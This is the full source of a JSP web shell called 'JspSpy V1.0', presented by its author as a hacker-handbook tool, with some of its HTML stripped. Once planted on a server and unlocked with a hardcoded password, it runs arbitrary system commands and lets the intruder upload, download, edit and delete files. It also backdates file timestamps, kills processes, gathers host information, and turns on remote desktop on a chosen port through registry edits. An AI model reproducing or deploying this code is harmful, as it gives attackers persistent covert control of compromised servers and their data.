<%@ page contentType="text/html; charset=GBK" %> <%@ page import="java.io.*"%> <%@ page import="java.util.Map"%> <%@ page import="java.util.HashMap"%> <%@ page import="java.nio.charset.Charset"%> <%@ page import="java.util.regex.*"%> <%@ page import="java.sql.*"%> <%@ page import="java.util.*"%> <%@ page import="java.util.zip.*"%> <%@ page import="javax.servlet.jsp.*"%> <%@ page import="java.lang.reflect.*"%> <%@ page import="java.net.*"%> <%@ page import="java.util.Date"%> <%@ page import="java.text.*"%> <% final String passWord="jspspy"; final String nowURI=request.getRequestURI(); final String webSite_Folder = convertPath(application.getRealPath("/")); final String AbsPath=application.getRealPath(request.getRequestURI()); File file = new File(AbsPath); String strAbsPath = file.getParent(); session.setMaxInactiveInterval(6000); if(session.getAttribute("login")==null){ if(request.getParameter("pass")!=null&&request.getParameter("pass").equals(passWord)){ session.setAttribute("login",passWord); response.sendRedirect(nowURI); } else{ out.print("
JspSpy V1.0
※黑客手册专版※ 输入密码：
"); } return; } %> <%! public static String encodeHTML(String str){ String retStr = ""; retStr = str.replaceAll(" "," "); retStr = str.replaceAll("<","<"); retStr = str.replaceAll(">",">"); retStr= str.replaceAll("\n","
"); retStr = str.replaceAll("\n\r","
"); str.replaceAll("&","&"); return retStr; } public String strCut(String str, int len) { String sRet; //it's explame len -= 3; if (str.getBytes().length <= len) { sRet = str; } else { try { sRet = (new String(str.getBytes(), 0, len, "GBK")) + "..."; } catch (Exception e) { sRet = str; } } return sRet; } String encodeChange(String str)throws Exception{ if(str==null) return null; else return new String(str.getBytes("ISO-8859-1"),"gb2312"); } String encodeGb2Unicode(String str)throws Exception{ if(str==null) return null; else return new String(str.getBytes("gb2312"),"ISO-8859-1"); } public String convertPath(String path){ String retStr=""; if(empchk(path)){ path = path.replace('\\','/'); File file = new File(path); if(file.isDirectory()){ if(!path.endsWith("/")){ path += "/"; } } } retStr += path; return retStr; } public boolean empchk(String str){ if(str==null&&str==""&&(str.trim()).equals("")){ return false; } else return true; } public void outP(JspWriter out,String str) throws Exception{ if(empchk(str)){ out.print(str); } } //输出空格 public void outE(JspWriter out,int n) throws Exception{ if(n>0){ for(int i=0;i<n;i++){ out.print(" "); } } } public String sacnRead(String path){ File file = new File(path); if(file.canRead()){ return "<font face=wingdings size=4>ü"; } else{ return "û"; } } public String sacnWrite(String path){ File file = new File(path); if(file.canWrite()){ return "ü"; } else{ return "û"; } } public String sacnHidden(String path){ File file = new File(path); if(file.isHidden()){ return "ü"; } else{ return "û"; } } public String getSize(String path){ File file = new File(path); long size = file.length(); if(size>=1024*1024*1024){ return new Long(size/1073741824L)+"G"; }else if(size>=1024*1024){ return new Long(size/1048576L)+"M"; }else if(size>=1024){ return new Long(size/1024)+"K"; }else return size+"B"; } public String getLastModified(String path) throws Exception{ SimpleDateFormat formatter = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); File file = new File(path); Date time =new Date(file.lastModified()); //Date now=new Date(); String str_date1 = formatter.format(time); //将日期时间格式化 return str_date1; } public void mainForm(JspWriter out,String webSite_Folder) throws Exception{ out.print("

"); out.print("

"); out.print("

"); out.print(""); out.print("
FilePath: | "); out.print(""); out.print(""); out.print(""); out.print(" | GOtoLink"); out.print("

"); out.print("
"); out.print(" | "); out.print(" "); out.print("

"); } public void mainMenu(JspWriter out,String webSite_Folder,String strAbsPath) throws Exception{ out.print("╬┅╬═══════════"); out.print("
☆黑客手册专版☆
"); out.print("═══════════╬┅╬"); listRoot(out); out.print("
〖站点根目录〗
\n"); out.print("
〖本程序目录〗
\n"); out.print("〖新建目录〗
\n"); out.print("
〖新建文本〗
\n"); out.print("
●查找文件
"); out.print("
●上传文件
"); out.print("
+≤服务器端工具≥\n"); out.print("
"); } void listRoot(JspWriter out){ try{ out.print("

\n
\n
\n
\n
"); out.print(" "); out.print("\n
\n
"); out.print("
+≤查看硬盘≥>\n"); out.print(" \n"); File[] roots=File.listRoots(); for(int i=0;i<roots.length;i++){ out.print("<A href='"+"javascript:JshowFolder(\""+convertPath(roots[i].getPath())+"\")'>本地磁盘："+roots[i].getPath()+" \n"); } out.print("
"); }catch(Exception e){ } } void loginOut(JspWriter out,String nowURI)throws Exception{ //session.removeAttribute("login"); //response.sendRedirect("iframe.jsp"); out.print("gsrc"); out.print("\n"); } public void listFolder(JspWriter out,String path) throws Exception{ int j=0,p=0;int k,y=10000; path=convertPath(path); try{ File file = new File(path); String[] sfiles = file.list(); File[] files = new File[sfiles.length]; String[] reFileName = new String[sfiles.length+1]; String[] abFileName = new String[sfiles.length+1]; k = sfiles.length+1; //out.print("数组的长度为"+reFileName.length); for(int i=0;i<sfiles.length;i++){ files[i] = new File(path+"/"+sfiles[i]); if(files[i].isDirectory()){ reFileName[j]=(String)files[i].getName(); abFileName[p]=(String)convertPath(files[i].getAbsolutePath()); j++; p++; } else{ reFileName[k-1] = (String)files[i].getName(); abFileName[k-1] = (String)convertPath(files[i].getAbsolutePath()); k--; } } out.print("<TABLE cellSpacing=0 cellPadding=0 width=\"100%\" border=0>"); //out.print("
"); for(int i=0;i<sfiles.length;i++){ if(abFileName[i]==null) y=i; } if(sfiles.length>0){ //输出目录部分 //out.print("
\n"); //out.print(""); out.print("
文件名称 | 类型 | 大小 | 可读 | 可写 | 隐藏 | 最后修改时间 | 相关操作
"); for(int i=0;abFileName[i]!=null;i++){ out.print("
"+"0"+strCut(reFileName[i],30)+" | folder | "+getSize(abFileName[i])+" | "+sacnRead(abFileName[i])+" | "+sacnWrite(abFileName[i])+" | "+sacnHidden(abFileName[i])+" | "+getLastModified(abFileName[i])+" | 移动 删除 编辑属性 打包
"); } //输出文件部分 out.print("

"); for(int i=sfiles.length;reFileName[i]!=null;i--){ out.print("
"+"2"+strCut(reFileName[i],30)+"file"+getSize(abFileName[i])+""+sacnRead(abFileName[i])+""+sacnWrite(abFileName[i])+""+sacnHidden(abFileName[i])+""+getLastModified(abFileName[i])+" 移动 删除 编辑属性 复制 编辑 下载
"); } out.print(""); } //out.print(y); } catch(Exception e){ } } public void pExeCmd(JspWriter out,HttpServletRequest request) throws Exception{ out.print("

\n"); out.print("
输入命令： |  |  |
\n"); out.print("
"+exeCmd(out,request.getParameter("cmd"))+"
\n"); out.print(""); out.print("

"); } public String exeCmd(JspWriter out,String cmd) throws Exception{ String rStr = ""; if(empchk(cmd)){ int nRet; InputStreamReader in = null; Runtime run = Runtime.getRuntime(); Process pro = null; char[] tmpChar = new char[1024]; try{ pro = run.exec(cmd); in = new InputStreamReader(pro.getInputStream(),Charset.forName("GB2312")); while((nRet = in.read(tmpChar,0,1024))!=-1){ rStr += new String(tmpChar,0,nRet); } }catch(Exception e){ } finally { in.close(); return rStr; } } else return "empty"; } public void newFolder(JspWriter out,String nFolder)throws Exception{ if(empchk(nFolder)){ File file = new File(nFolder); if(file.exists()){ out.print("
"); } else{ if(file.mkdir()){ out.print("
"); //out.print("目录建立成功"); } else{ out.print("
"); } } } } public void pnewFile(JspWriter out,String nFile,String webSite_Folder) throws Exception{ out.print("

\n"); out.print("
绝对路径： |  |
\n"); out.print("
"+nFile+"
\n"); out.print("

"); out.print(""); out.print("

"); } // public void newFile(JspWriter out,String path,byte[] content,String choice) throws Exception{ File file = new File(path); if(choice.equals("r")&&file.exists()){ out.print("☆孤水绕城☆友情提示:
文件已经存在! 换个名字吧!"); return; } else{ BufferedOutputStream bos = null; try{ bos = new BufferedOutputStream(new FileOutputStream(path)); bos.write(content,0,content.length); out.print("文件保存成功！
绝对路径为："); out.print(path); }catch(Exception e){ } finally{ if(out!=null){ bos.close(); } } } } public void pupfile(JspWriter out,String path) throws Exception{ out.print("

"); out.print(" "); out.print("
所在的路径为:"+path+" |  |
"); out.print("</from>"); out.print("

"); } public void uploadFile(JspWriter out,ServletRequest request, String path) throws Exception{ String sRet = ""; File file = null; InputStream in = null; path = convertPath(path); try { in = request.getInputStream(); byte[] inBytes = new byte[request.getContentLength()]; int nBytes; int start = 0; int end = 0; int size = 1024; String token = null; String filePath = null; // // 把输入流读入一个字节数组 // while ((nBytes = in.read(inBytes, start, size)) != -1) { start += nBytes; } in.close(); // // 从字节数组中得到文件分隔符号 // int i = 0; byte[] seperator; while (inBytes[i] != 13) { i ++; } seperator = new byte[i]; for (i = 0; i < seperator.length; i ++) { seperator[i] = inBytes[i]; } // // 得到Header部分 // String dataHeader = null; i += 3; start = i; while (! (inBytes[i] == 13 && inBytes[i + 2] == 13)) { i ++; } end = i - 1; dataHeader = new String(inBytes, start, end - start + 1); // // 得到文件名 // token = "filename=\""; start = dataHeader.indexOf(token) + token.length(); token = "\""; end = dataHeader.indexOf(token, start) - 1; filePath = dataHeader.substring(start, end + 1); filePath = convertPath(filePath); String fileName = filePath.substring(filePath.lastIndexOf("/") + 1); // // 得到文件内容开始位置 // i += 4; start = i; // // 偷懒的办法 // end = inBytes.length - 1 - 2 - seperator.length - 2 - 2; // // 保存为文件 // File newFile = new File(path + fileName); newFile.createNewFile(); FileOutputStream fos = new FileOutputStream(newFile); out.print("☆孤水绕城☆友情提示:
文件路径为："+newFile); //out.write(inBytes, start, end - start + 1); fos.write(inBytes, start, end - start + 1); fos.close(); sRet = fileName; sRet = "
\n"; } catch (IOException e) { sRet = "
\n"; } out.print(sRet); } //以p开头的函数均为界面构造函数 public void peditFile(JspWriter out,String nFile) throws Exception{ out.print("

\n"); out.print("
绝对路径： |  |
\n"); out.print("
"+editFile(out,nFile)+"
\n"); out.print("

"); out.print(""); out.print("

"); } public String editFile(JspWriter out,String path) throws Exception { out.print(path); File file = new File(path); String strRet = ""; if(file.exists()&&file.length()>0){ int nRet ; BufferedInputStream bis = null; byte[] tmpChar= new byte[1024]; //FileInputStream in = null; try{ bis = new BufferedInputStream(new FileInputStream(path)); while((nRet=bis.read(tmpChar,0,1024))!=-1){ strRet += new String(tmpChar,0,nRet); strRet = encodeHTML(strRet); } }catch(Exception e){ strRet += "error"; } finally{ if(bis != null){ bis.close(); } } } return strRet; } public void reName(JspWriter out,String sPath,String dpath) throws Exception{ if(empchk(sPath)&&empchk(dpath)){ File dfile = new File(dpath); File sfile = new File(sPath); if(dfile.exists()){ out.print("友情提示！\n该文件已经存在！！！"); } else{ if(sfile.renameTo(dfile)){ out.print("☆孤水绕城☆友情提示:
移动成功！"); } } } } public void delName(JspWriter out,String spath) throws Exception{ if(empchk(spath)){ File file = new File(spath); if(file.delete()){ out.print("☆孤水绕城☆友情提示:
删除成功！"); } } } public void copyName(JspWriter out,String spath,String dpath) throws Exception{ if(empchk(spath)&&empchk(dpath)){ String retStr=""; File sfile = new File(spath); File dfile = new File(dpath); if(dfile.exists()){ out.print("☆孤水绕城☆友情提示:
该文件已经存在！"); } else{ FileInputStream fis = new FileInputStream(sfile); FileOutputStream fos = new FileOutputStream(dfile); int nRet; byte[] tempByte = new byte[1024]; try{ while((nRet=fis.read(tempByte,0,1024))!=-1){ fos.write(tempByte,0,nRet); } out.print("☆孤水绕城☆友情提示:
文件复制成功！"); }catch(Exception e){ } finally{ fis.close(); fos.close(); } } } } public void downFile(String filePath,HttpServletResponse res) throws Exception{ int nRet; byte[] buffer=new byte[256]; if(empchk(filePath)){ ServletOutputStream sos = res.getOutputStream(); BufferedInputStream bis = null; String fName= encodeGb2Unicode((new File(filePath)).getName()); res.reset(); res.setHeader("Content-disposition","attachment;filename=\""+fName+"\""); try{ bis = new BufferedInputStream(new FileInputStream(filePath)); while((nRet=bis.read(buffer,0,buffer.length))!=-1){ sos.write(buffer,0,nRet); } } catch(Exception e){ } finally{ sos.close(); bis.close(); } } } void zip(JspWriter out,String sPath, String dpath) throws Exception { FileOutputStream output = null; ZipOutputStream zipOutput = null; try{ output = new FileOutputStream(dpath); zipOutput = new ZipOutputStream(output); zipEntry(zipOutput,sPath,sPath,dpath); }catch(Exception e){ out.print("file zip error"); }finally{ if(zipOutput!=null)zipOutput.close(); } out.print("zip ok"+dpath); } //add the zip entry void zipEntry(ZipOutputStream zipOs, String initPath,String filePath,String zipPath) throws Exception { String entryName = filePath; File f = new File(filePath); if (f.isDirectory()){// check is folder String[] files = f.list(); for(int i = 0; i < files.length; i++) zipEntry(zipOs, initPath, filePath + File.separator + files[i],zipPath); return; } String chPh = initPath.substring(initPath.lastIndexOf("/") + 1);// int idx=initPath.lastIndexOf(chPh); if (idx != -1) { entryName = filePath.substring(idx); } ZipEntry entry; entry = new ZipEntry(entryName); File ff = new File(filePath); if(ff.getAbsolutePath().equals(zipPath))return; entry.setSize(ff.length()); entry.setTime(ff.lastModified()); //the CRC efficacy entry.setCrc(0); CRC32 crc = new CRC32(); crc.reset(); zipOs.putNextEntry(entry); int len = 0; byte[] buffer = new byte[2048]; int bufferLen = 2048; FileInputStream input =null; try{ input = new FileInputStream(filePath); while ((len = input.read(buffer, 0, bufferLen)) != -1) { zipOs.write(buffer, 0, len); crc.update(buffer, 0, len); } }catch(Exception e){ }finally{ if(input!=null)input.close(); } entry.setCrc(crc.getValue()); } public void pfindFile(JspWriter out,HttpServletRequest request) throws Exception{ out.print("
网站根目录："+request.getRealPath("/")+"
"); out.print("\n

填入你要搜索的文件名称：\n\n注：只填写文件名称(区分大小写)
\n查找文件范围: \n 网站根目录搜索"); File[] roots=File.listRoots(); for(int i=0;i<roots.length;i++){ out.print("<INPUT class=c type=radio value="+convertPath(roots[i].getPath())+" name=radiobutton>"+roots[i].getPath()); } out.print("
"); out.print(""); } public void findFile(JspWriter out,String path,String filename)throws Exception{ File file = new File(path); File[] list = file.listFiles(); String dfileName = filename ; try{ for(int i=0;i<list.length;i++){ if(list[i].isDirectory()){ findFile(out,list[i].getPath(),dfileName); } else if(list[i].isFile()){ if(list[i].getName().equals(dfileName)){ out.print("<table width='100%' border=0> "); out.print("

"+strCut(convertPath(list[i].getPath()),70)+" 移动 复制 编辑 <a 下载 删除 编辑属性
"); out.print(""); } } } }catch(Exception e){ }finally { } } public void dateChange(String filename,String year,String month,String day,JspWriter out)throws IOException{ File f=new File(filename); if(f.exists()){ Calendar calendar=Calendar.getInstance(); calendar.set(Integer.parseInt(year),Integer.parseInt(month),Integer.parseInt(day)); if(f.setLastModified(calendar.getTimeInMillis())) out.print("☆孤水绕城☆友情提示:
"+filename+" change success"); else out.print(filename+"file date change error"); }else{ out.println("file not find!!!"); } } public static String getWindowsMACAddress() { String mac = null; BufferedReader bufferedReader = null; Process process = null; try { process = Runtime.getRuntime().exec("ipconfig /all");// windows下的命令，显示信息中包含有mac地址信息 bufferedReader = new BufferedReader(new InputStreamReader(process .getInputStream())); String line = null; int index = -1; while ((line = bufferedReader.readLine()) != null) { index = line.toLowerCase().indexOf("physical address");// 寻找标示字符串[physical address] if (index >= 0) {// 找到了 index = line.indexOf(":");// 寻找":"的位置 if (index>=0) { mac = line.substring(index + 1).trim();// 取出mac地址并去除2边空格 } break; } } } catch (IOException e) { e.printStackTrace(); } finally { try { if (bufferedReader != null) { bufferedReader.close(); } } catch (IOException e1) { e1.printStackTrace(); } bufferedReader = null; process = null; } return mac; } public void systemInfo(JspWriter out,HttpServletRequest request) throws Exception{ out.print("

"); out.print("
服务器信息
"); //out.print(""); out.print("
服务器名称 | "+request.getServerName()+"
"); out.print("
ip地址 | "+InetAddress.getLocalHost().getHostAddress()+"
"); out.print("
服务器端口 | "+request.getServerPort()+"
"); out.print("
操作系统 | "+System.getProperty("os.name")+System.getProperty("os.version") + " " + System.getProperty("os.arch")+"
"); out.print("
MAC地址 | "+getWindowsMACAddress()+"
"); out.print("
当前用户名 | "+System.getProperty("user.name")+"
"); out.print("
当前用户目录 | "+System.getProperty("user.home")+"
"); out.print("
当前用户工作目录 | "+System.getProperty("user.dir")+"
"); out.print("
程序绝对路径 | "+request.getRealPath(request.getServletPath())+"
"); out.print("
网络协议版本 | "+request.getProtocol()+"
"); //out.print("
服务器软件版本信息 | "+application.getServerInfo()+"
"); out.print("
JDK版本 | "+System.getProperty("java.version")+"
"); out.print("
JDK安装路径 | "+System.getProperty("java.home")+"
"); out.print("
JAVA虚拟机版本 | "+System.getProperty("java.vm.specification.version")+"
"); out.print("
JAVA虚拟机名 | "+System.getProperty("java.vm.name")+"
"); out.print("
JAVA类路径 | "+System.getProperty("java.class.path")+"
"); out.print("
系统path变量 | "+System.getProperty("java.library.path")+"
"); out.print("
JAVA临时目录 | "+System.getProperty("java.io.tmpdir")+"
"); out.print("
扩展目录路径 | "+System.getProperty("java.ext.dirs")+"
"); out.print("

"); } //开启远程终端功能暂时只支持winXP和win2003 public String checkOs(){ return System.getProperty("os.name").toLowerCase(); } public void popenTerm(JspWriter out) throws Exception{ out.print("

"); out.print("
操作系统版本 | "+checkOs()+"
"); out.print(""); out.print("
win2003开启3389 |
"); out.print("
终端端口号 |  |
"); out.print("
winXp |
"); out.print("
"); out.print("

"); } public void openTrem(JspWriter out,String port1) throws Exception{ int j = Integer.parseInt(port1); String dtohex = Integer.toHexString(j); //out.print(hex2003); String openxpOr2003[] = new String[]{ "reg add \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\" /v fDenyTSConnections /t REG_DWORD /d 0 /f", "reg add \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\Wds\\rdpwd\\Tds\\tcp\" /v PortNumber /t REG_DWORD /d 0x"+dtohex+" /f", "reg add \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp\" /v PortNumber /t REG_DWORD /d 0x"+dtohex+" /f" }; if(checkOs().equals("windows xp")){ for(int i=0;i<openxpOr2003.length;i++){ out.print("终端返回信息: "+exeCmd(out,openxpOr2003[i])+"<br>"); } } else if(checkOs().equals("windows 2003")){ for(int i=0;i<openxpOr2003.length;i++){ out.print("终端返回信息: "+exeCmd(out,openxpOr2003[i])+"<br>"); } } } //输出端口-进程-服务框架函数 public void pgetTcpUdp(JspWriter out,HttpServletRequest request)throws Exception{ //String nowCom = command; out.print("

"); out.print("
端口类型 | 本地IP:端口 | 外部IP:端口 | 端口状态
\n"); getSinfo(out,request.getParameter("command")); out.print("

"); } public void pgetServer(JspWriter out,HttpServletRequest request)throws Exception{ // String nowCom = command; out.print("

"); out.print("
服务名称
\n"); getSinfo(out,request.getParameter("command")); out.print("

"); } public void pgetTask(JspWriter out,HttpServletRequest request)throws Exception{ // String nowCom = command; out.print("

"); out.print("
进程名称 | PID号 | 相关服务
\n"); getSinfo(out,request.getParameter("command")); out.print("

"); } //读取端口-进程-服务信息函数 public void getSinfo(JspWriter out,String command) throws Exception{ // File file = _file; int skipline = 0; //跳过读取行数 try { Process pro = null; if(command.equals("netstat")){ pro = Runtime.getRuntime().exec("cmd.exe /c netstat -an"); skipline = 4; } else if(command.equals("netstart")){ pro = Runtime.getRuntime().exec("cmd.exe /c net start"); skipline = 2; } else if(command.equals("tasklist")){ pro = Runtime.getRuntime().exec("cmd.exe /c tasklist /svc"); skipline = 3; } BufferedReader br = new BufferedReader(new InputStreamReader(pro.getInputStream())); //该for循环读取字节流跳过指定行数 for (int i = 0; i < skipline; i++) { br.readLine(); } String buff = ""; while( (buff=br.readLine())!= null){ out.print("
"); if(2!=skipline){//读取端口和进程信息 StringTokenizer st = new StringTokenizer(buff); while(st.hasMoreElements()){ String Info = st.nextToken(); out.print(""+Info+""); } } else{//读取服务信息 while((buff=br.readLine())!=null){ out.print("
"+buff+"
"); } } out.print("\n"); } br.close(); // return buff; } catch (Exception e) { // return null; } } //结束进程函数 public void pkillProc(JspWriter out) throws Exception{ out.print("

"); out.print(""); out.print("
结束进程工具 (孤水绕城提示：该工具比较霸道，使用要慎重。)
"); out.print("
"); out.print("
进程PID号 |  |
"); out.print("

"); } public void killProc(JspWriter out,String Pid) throws Exception{ if(empchk(Pid)){ String exec = exeCmd(out,"taskkill /f /pid "+Pid); out.print("☆孤水绕城☆友情提示:
"+exec); } } //注册表操作函数，暂时不提供，期待下一个V1.1版本吧:-) public void pregedit(JspWriter out) throws Exception{ out.print("

☆孤水绕城☆友情提示:
v1.0版本暂不支持注册表编辑功能，期待下一个V1.1版本吧:-)

"); } public void aboutJspy(JspWriter out) throws Exception{ out.print(" 很久以前我有一个梦想，希望能像戏子一样灵思舞动衣袖飘飞，可是当再次面对繁华落尽的刹那我才发现其实人生如梦是句P话，梦醒后的人生依旧荒芜。无助的我就像一个犯了错的孩子，在爱与痛的边缘一直的堕落。在无尽的等待中期待伤口的愈合以及灵魂的萌芽。我想许久许久以后当尘埃落定的瞬间我希望你能看到我的苍老。wait for jhy......"); out.print("
还有半年就要毕业了，需要拿出点东西来纪念我的大学生涯了，花了一个多月的时间jspy V1.0终于写完了，基本的功能都已经实现了，缺少的功能我会在后续的版本中添加，希望大家能够一直关注jspy，多提宝贵意见o(∩_∩)o...。在这里感谢我最最要好的兄弟yizhigu的帮助还有MIAO哥，土豆大叔，simeon，赤龙，花非花，冰的原点，杨过，随风，小浪哥，酷酷，狼，还有我最最尊敬的Lenk大哥以及LST的众兄弟们，希望LST走的长远。。。"); out.print("
MADE by 孤水绕城
QQ:540410588
"); } %>
<% String Action=request.getParameter("action"); char action; action=(Action==null?"0":Action).charAt(0); //action = 'M'; try{ switch(action){ case 'A':aboutJspy(out);break; case 'E':pExeCmd(out,request);break; case 'e':exeCmd(out,request.getParameter("cmd"));break; case 'M': mainMenu(out,webSite_Folder,strAbsPath);break; case 'L': loginOut(out,nowURI);break; case 'S':listFolder(out,encodeChange(request.getParameter("FolderPath")));break; case 'F':listRoot(out); case 'N':newFolder(out,encodeChange(request.getParameter("FolderPath")));break; case 'G':pnewFile(out,"MADE BY 孤水绕城\nQQ:540410588",webSite_Folder+"newFile.txt");break; case 'g':newFile(out,encodeChange(request.getParameter("fileName")),request.getParameter("fileContent").getBytes("ISO-8859-1"),request.getParameter("choice"));break; case 'H':peditFile(out,request.getParameter("fileName"));break; case 'I':reName(out,encodeChange(request.getParameter("sFileName")),encodeChange(request.getParameter("FolderPath")));break; case 'J':delName(out,encodeChange(request.getParameter("Filename")));break; case 'K':copyName(out,encodeChange(request.getParameter("sFileName")),encodeChange(request.getParameter("FolderPath")));break; case 'O':downFile(encodeChange(request.getParameter("Filename")),response);return; case 'P':zip(out,encodeChange(request.getParameter("FolderPath")),encodeChange(request.getParameter("sFileName")));break; case 'Q':findFile(out,encodeChange(request.getParameter("radiobutton")),encodeChange(request.getParameter("filename"))); case 'q':pfindFile(out,request);break; case 'R':dateChange(encodeChange(request.getParameter("Filename")),encodeChange(request.getParameter("year")),encodeChange(request.getParameter("month")),encodeChange(request.getParameter("day")),out);break; case 'T':uploadFile(out,request,convertPath(webSite_Folder));break; case 't':pupfile(out,convertPath(webSite_Folder));break; case 'U':systemInfo(out,request);break; case 'B':pgetTcpUdp(out,request); case 'V':pkillProc(out);break; case 'v':killProc(out,request.getParameter("killpid"));break; case 'x':pregedit(out);break; case 'W':openTrem(out,request.getParameter("p1"));break; case 'w':popenTerm(out);break; case 'Y':pgetTask(out,request);break; case 'Z':pgetServer(out,request);break; default : //listFolder(out,"D:\\Tomcat 5.0\\webapps\\test");break; mainForm(out,webSite_Folder);break; } }catch(Exception e){ } %>